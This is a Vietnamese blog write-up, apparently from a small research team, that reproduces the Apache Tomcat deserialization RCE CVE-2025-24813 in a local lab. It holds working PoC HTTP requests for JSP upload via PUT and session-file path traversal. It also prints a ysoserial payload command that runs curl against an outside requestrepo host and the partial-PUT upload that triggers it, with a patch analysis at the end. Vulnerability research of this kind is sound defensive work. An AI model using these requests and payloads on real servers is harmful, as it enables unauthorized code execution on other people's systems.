CVE-2025-24813 Tomcat RCE

team98team98
9 min read

Chào mọi người, mình là nhóm 98leet, mới thành lập và nghiên cứu về bug cho zui🖖. Hôm nay sẵn tiện đang rầm rộ con bug RCE mới của Tomcat. Poc đã xuất hiện từ vài ngày trước, mình sẽ thử reproduce lại xem sao :vv

I. Thông tin về CVE-2025-24813

  • Theo NVD thì con bug này được chấm điểm tân 9.8 Critical, khá ghê gớm

  • Theo bài viết trên Github của absholi7ly, lỗ hổng đòi hỏi nhiều yếu tố môi trường để thực hiện thành công RCE. Bao gồm:

    (1) Tomcat version: 9.0.0-M1 ≤ Tomcat ≤ 9.0.98 || 10.1.0-M1 ≤ Tomcat ≤ 10.1.34 || 11.0.0-M1 ≤ Tomcat ≤ 11.0.2

    (2) Ứng dụng được kích hoạt tính năng ghi DefaultServlet, tính năng này bị tắt theo mặc định.

    (3) Hỗ trợ các yêu cầu Partial PUPUT, có thể ghi dữ liệu serialized vào file session, tính năng này được bật theo mặc định.

    (4) Tomcat phải sử dụng bộ lưu trữ session dựa trên file (không phải mặc định) tại vị trí mặc định của nó.

    (5) Ứng dụng chứa một thư viện có lỗ hổng deserialization, chẳng hạn như commons-collections trong classpath.

  • Trong quá khứ, Tomcat cũng từng bị một số lỗ hổng tương tự. Ví dụ:

    • CVE-2017-12615: Tomcat PUT file uploads

    • CVE-2020-9484: Tomcat Session Deserialisation Vulnerability

    • CVE-2024-50379: Time-of-check Time-of-use (TOCTOU) Race Condition

    • CVE-2024-56337: Time-of-check Time-of-use (TOCTOU) Race Condition

⇒ Bài viết này mình chỉ reproduce lại bug và tìm hiểu xem tại sao con bug này xuất hiện thôi nhé.

II. Reproduce CVE-2025-24813

1. Cài đặt môi trường

  • Cài đặt Apache Tomcat: Cài đặt Tomcat thì không có gì để bàn nhiều, mình cài theo bài viết này. Các bạn có thể cài bằng Docker cho nhanh 😂

    • Ubuntu 20.04

    • Apache Tomcat 10.1.34

    • Note: Apache Tomcat 11.0. x requires Java 17 or later. Apache Tomcat 10.1. x required Java 11.

    • Tạo 1 webapp đơn giản và đưa vào thư mục /opt/tomcat/webapps của Tomcat (Mình sử dụng cái này https://github.com/AndriyKalashnykov/tomcat-root-war). Các bạn chỉ cần tải file .war vào rồi copy vào thư mục /opt/tomcat/webapps là xong, Tomcat sẽ tự giải nén ra folder ROOT.

  • Cấu hình môi trường:

    • Ứng dụng được kích hoạt tính năng ghi DefaultServlet, tính năng này bị tắt theo mặc định. Điều này liên quan đến thuộc tính readonly của DefaultServlet. Chúng ta phải đặt thuộc tính này thành false trong tomcat/conf/web.xml:

        <servlet>
            <servlet-name>default</servlet-name>
            <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
            <init-param>
                <param-name>readonly</param-name>
                <param-value>false</param-value>
            </init-param>
        </servlet>
      
    • Một chú giải thích từ ChatGPT ^^

      Một chú giải thích từ ChatGPT ^^

    • Bạn cũng cần cấu hình đển enable lưu session trong file như sau. Mở file /opt/tomcat/conf/context.xml và thêm cấu hình sau:

        <Manager className="org.apache.catalina.session.PersistentManager">
            <Store className="org.apache.catalina.session.FileStore"/>
        </Manager>
      
    • ChatGPT đã giải thích cho mình hiểu cơ ché lưu file session của Tomcat <3

  • Ngoài ra, để có thể RCE thì server cần sử dụng các thư viện tồn tại các gadget chain cho lỗ hổng Deserialization. Ở đây mình sử dụng commons-collections-3.1.jar, bạn có thể tải ở https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/

    • Sau đó copy commons-collections-3.1.jar vào thư mục /opt/tomcat/lib rồi restart lại Tomcat là xong nhé 🎉

  • Cài đặt Debug

    • Cài đặt Debug cũng khá dễ, mình sử dụng Intellij để Debug, các bạn làm theo các bước sau:

      (1) Tạo một Project trống trong Intellij

      (2) Copy hết tất cả các file .jar trong thư mục /opt/tomcat/lib ra một folder riêng

      (3) Import tất cả các file jar trên vào Project vừa tạo trong Intellij:

      • Chọn File > Project Structur > Libraris > New Project Library (Hình dấu +) > Java > Bôi đen hết các file .jar rồi OK

      • Chọn vào phần Modules trong Project Setiings, sau đó tích vào tên Library vừa tạo

(4) Cấu hình Remote Debug

  • Trên Intellij: Chọn Run > Edit Configurations > Add New Configuration (Hình dấu +) > Remote JVM Debug > Sửa localhost thành IP máy ảo > Copy nội dung trong Command line arguments for remote JVM > Apply

  • Thêm Command line arguments for remote JVM vào biến môi trường CATALINA_OPTS trong file cấu hình /etc/systemd/system/tomcat.service sau đó restart lại Tomcat

(5) Bật Remote Debug trên Intellij (Bấm vào hình con bọ ở góc trên bên phải), đặt Break Point và thử

2. Một số Bug của Tomcat có liên quan đến CVE-2025-24813

2.1. CVE-2017-12615

  • Mình cài đặt Tomcat 8.5.19 bằng Docker: https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615

  • Sửa Dockerfiledocker-compose.yml như sau để có thể debug:

      FROM vulhub/tomcat:8.5.19
    
      LABEL maintainer="phithon <root@leavesongs.com>"
    
      ENV CATALINA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005"
    
      RUN cd /usr/local/tomcat/conf \
          && LINE=$(nl -ba web.xml | grep '<load-on-startup>1' | awk '{print $1}') \
          && ADDON="<init-param><param-name>readonly</param-name><param-value>false</param-value></init-param>" \
          && sed -i "$LINE i $ADDON" web.xml
    
      version: '2'
      services:
       tomcat:
         build: .
         ports:
          - "8081:8080"
          - "5005:5005"
    
  • Theo mô tả, nếu tham số readonly thành false, bạn có thể uploadfile JSP thông qua PUT và RCE. Đọc file conf/web.xml:

  • PoC CVE-2017-12615

      PUT /98leet.jsp/ HTTP/1.1
      Host: 127.0.0.1:8081
      Accept: */*
      Accept-Language: en
      Connection: close
      Content-Length: 5
    
      98leet_request_put
    

  • Nếu là máy chủ Windows, bạn có thể upload file thông qua method PUT như sau

      PUT /98leet.jsp%20 HTTP/1.1
      Host: 127.0.0.1:8081
      Accept: */*
      Accept-Language: en
      Connection: close
      Content-Length: 5
    
      98leet_request_put
    

    Hoặc

      PUT /98leet.jsp::$DATA HTTP/1.1
      Host: 127.0.0.1:8081
      Accept: */*
      Accept-Language: en
      Connection: close
      Content-Length: 5
    
      98leet_request_put
    
  • Sau khi upload file thành công, file 98leet.jsp có nội dung trong phần body của request PUT. Bạn chỉ cần thay đổi nó thành một webshell jsp

  • Ở đây bắt buộc phải để path là /98leet.jsp/ mà không phải là /98leet.jsp. Điều này là do khi Tomcat phân tích cú pháp hậu tố jsp hoặc jspx, request sẽ được chuyển đến JspServlet. Kiểm tra trong file cấu hình /usr/local/tomcat/conconf/web.xml

  • Với ký tự / ở cuối (trong trường hợp của mình server là Linux), request sẽ không mapping với JspServlet, nhưng sẽ được DefaultServlet xử lý.

2.2. CVE-2020-9484

  • Về cơ chế thực hiện Deseralization của bug này tương đối giống với CVE-2025-24813 nên mình chỉ để payload cho các bạn tham khảo thôi nhé. Chi tiết cơ chế Deseralization thông qua file session mình sẽ giải thích ở bên dưới!

  • PoC CVE-2020-9484

      curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../tmp/payload'
    

3. Phân tích CVE-2025-24813

  • Qua reveview PoC, mình nhận thấy luồng khai thác bug như sau: Tạo payload với Ysoseiral ⇒ PUT request ⇒ Ghi file tuỳ ý vào SessionsID ⇒ Tomcat tự động Deserialize nội dung trong file SessionID ⇒ Kích hoạt RCE

  • Servelet được tích hợp xử lý một số loại yêu cầu mặc định như: PUT, POST và GET. Tại đây, thư mục gốc của web được lấy trực tiếp, sau đó file được upload. Đây cũng là chỗ bị tấn công upload file với PUT request.

      PUT /98leet HTTP/1.1
      Host: 192.168.111.128:8080
      Content-range: bytes 1-1/15
    
      body_put_98leet
    

  • Tomcat có logic riêng để xử lý các yêu cầu PUT chưa hoàn chỉnh tại hàm executePartialPut(). Điều này liên quan đến Header HTTP Content-Range. Tham khảo thêm tại: https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Range

  • Các giá trị trong Header HTTP Content-range được gán vào các biến start, endlength, sau đó được truyền vào hàm executePartialPut().

  • Hàm executePartialPut() sẽ xử lý path trong URL của request để chuẩn hóa thành tên file lưu trên server. Tại đây ký tự / sẽ được thay thế bằng dấu . và được đặt thành tên file để lưu trữ session.

  • range.length được sử dụng làm độ dài của file và range.start làm điểm bắt đầu để xử lý stream. Vì vậy, range.length phải lớn hơn tổng độ dài của phần request body, nếu không thì sẽ không thể upload toàn bộ nội dung của file.

  • Tiếp theo, tôi sẽ phân tích đoạn kích hoạt Deserialization thông qua file session trong Tomcat. Khi ta gửi yêu cầu HTTP với header Cookie: JSESSIONID=.98_le3t, hàm load() trong class FileStore sẽ được gọi

      GET /favicon.ico HTTP/1.1
      Host: 192.168.111.128:8080
      Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
      Referer: http://192.168.111.128:8080/jspcollection/ds.jsp
      Accept-Encoding: gzip, deflate
      Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
      Cookie: JSESSIONID=.98leet
      Connection: close
    

  • Tại đây, để kích hoạt được Deserialization thì chúng ta cần đi vào nhánh của else, điều này có nghĩa là file trên server của mình phải có tên là .98leet.session, làm thế nào để mình tạo được file .session trên server?

  • Quay lại phần trước, với method PUT thì tất cả các ký tự / trong path sẽ được thay thế thành dấu . để lưu thành tên file, vậy để có được file .session cchúng ta chỉ cần gửi request PUT có dạng như sau:

      PUT /98leet/session HTTP/1.1
      Host: 192.168.111.128:8080
      Content-range: bytes 1-1/15
    
      body_put_98leet_filfile_dot_session
    

  • Thực hiện lại bước kích hoạt Deserialization thông qua file session. Chúng ta đã đến được nhánh else, việc bây giờ là đưa được dữ liệu trong file session đến được session.readObjectData(ois);, đây chính là sink để kích hoạt Deserialization

  • Bước tiếp theo, chúng ta chỉ cần tạo payload từ ysoserial và upload vào file .session rồi thực hiện Deserialization. Ở đây mình dùng CommonsCollections7curl để gửi request ta bên ngoài.

      java -jar ysoserial-all.jar CommonsCollections7 'curl http://ogqq34lv.requestrepo.com' >> 98_le3t.txt
    
  • Sử dụng curl để upload file thông qua method PUT

      curl -X PUT --data-binary @98_le3t.txt -H "Content-Range: bytes 0-1500/1800" http://192.168.111.128:8080/98_le3t/session
    

  • Kích hoạt Deserialization

  • Dưới đây là toàn bộ Stack Trace

III. Patch

  • Apache Tomcat đã công bố bản vá cho CVE-2025-24813, đây là commit fix cho version 10.1.34 mà mình đang thử nghiệm: https://github.com/apache/tomcat/commit/f6c01d6577cf9a1e06792be47e623d36acc3b5dc

  • Điểm mấu chốt là ở đoạn code này, cơ chế đặt tên file khi upload file bằng PUT method đã được thay đổi. Tomcat sẽ tạo file .tmp tạm thời trong folder tempDir, với tên bắt đầu bằng put-part-

⇒ This is bypass time 👏

IV. Kết luận

  • Như vậy mình đã tìm hiểu và reproduce bug CVE-2025-24813, bug tương đối đơn giản, tuy nhiên điều kiện khai thác tương đối phức tạp. Vậy tại sao nó lại được chấm điểm Critical. Theo mình có 2 nguyên nhân:

    1. Tomcat phiên bản dính lỗ hổng trên thị trường còn rất nhiều (kết quả qua Shodan, Fofa)

    2. Method PUT mặc dù đã được hạn chế enable by default trong nhiều phiên bản mới của Tomcat, nhưng về cơ bản, lỗ hổng chỉ cần thêm yếu tố Ghi File Session của Tomcat là có thể kích hoạt được. Do vậy, chỉ cần nhà quản trị cấu hình sai hoặc máy chủ tồn tại một lỗ hổng dạng Path Traversal thì hoàn toàn có thể khai thác RCE trong thực tế

⇒ Do vậy, các nhà quản trị Tomcat cần chú ý vá lỗ hổng này sớm nhất có thể.

V. Tài liệu tham khảo

0
Subscribe to my newsletter

Read articles from team98 directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

team98
team98